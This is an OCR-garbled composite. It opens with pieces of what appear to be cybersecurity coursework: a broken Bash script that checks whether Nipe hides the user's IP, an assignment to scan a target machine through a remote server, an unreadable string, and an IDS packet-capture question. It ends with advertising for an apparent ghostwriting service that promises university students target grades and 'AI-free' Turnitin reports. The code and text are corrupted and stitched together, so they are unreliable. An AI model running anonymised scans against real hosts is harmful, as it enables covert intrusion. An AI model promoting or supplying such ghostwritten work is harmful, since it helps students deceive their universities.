4 Get the spoofed IP address

spoofed_ip-8(get_current_lp)
country=$(get_current_country)

# Check if the TP address has changed

if [ “$actual ip" == “$spoofed ip" ]; then
echo "Failed to connect through Nipe.”
echo "Your TP address remains: $actual_ip"
sudo perl nipe.pl stop

echo "Connected through Nip
echo "Spoofed IPs $spoofed 3
echo “Country: Scountry”

ipe
& anonymity-check.bash
ipe
anonymity-check. bash
i

1 root roo

~/nipe

sudo — gaining superuser access
chimod — change permission
u+x — allow root user as an owner of this file to execute it

~/nipe
- /anonymity-check. bash

sudo — gaind

uperuser access
/anonymity-check bash — execute the sript
SSH Remote Server and Scan Machine with User Given Domain/URL

Create a script named “scanning sh” to get domain/url from user input and connect (o remote
server 1o scan target machine by given domainurl. At the end. it will log all scan information.

Q3 BA@W,MIHgh# p:'aP iyM&2'SE7URJ(QAFi2i  3\W]znrEIKW.j\leg=iC
X

Screenshat:

What are the packet numbers {in the pcap file) that triggered the IDS alert?
(Hint: Use Wireshark to search for the hex or ASCII string found in question 1)
After applying the following filter: “data == <hexadecimal-string>", | have found that

there are 2 frames that have the same hexadecimal string. The frame numbers are 34.
and158.
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OUR TEAM

The real humans behind your work. — #sneessescanersaes i vorcns

professionals. The same people who answer your first
message see your work through.

o .

Johnathan Toh Rachel Lim Wei Jie Aisyah
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FOUNDING MEMBER NTU - MA English NUS Computing SIT Software Engineering
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Leads essays, reports & dissertations. Architects every software build, end to Explains the work so it's genuinely yours.
Your first point of contact, from quote to end.

handover.



HOW IT WORKS

Three steps. A real person at every one.

Send us your brief Get a fair quote We start on deposit
Message your task files, full requirements, We agree a price based on your requirements. A 50% deposit gets us going. You settle the
budget and deadline on WhatsApp or Telegram. Free quote, no obligation to proceed. rest only when you're happy with the work.

¢ Strictly confidential. Your details are never shared and are deleted on handover.




OUR GUARANTEES

What we assure you.

Highest grades possible

Set your target grade, we aim for it.

Competitive price match

Found a lower quote? We beat it by $10.

Free Turnitin & Al report

Low similarity, and genuinely Al-free.

S5 referral bonus

For every friend you successfully refer.

Not marketing lines. Each one has a clear

mechanic behind it.

Timely delivery

On or before your deadline, every time.

24/7 customer service

Real people, fast replies to every query.

One expert, one task

Full focus, high quality, fully unique.

Free university notes

NTU & top local university note sets.

Free unlimited revisions

We refine until the work fits your brief.

Complete anonymity

Details never shared; deleted on handover.

$10 return voucher

A thank-you after your first order.

A lasting relationship

With you for the whole of your studies.
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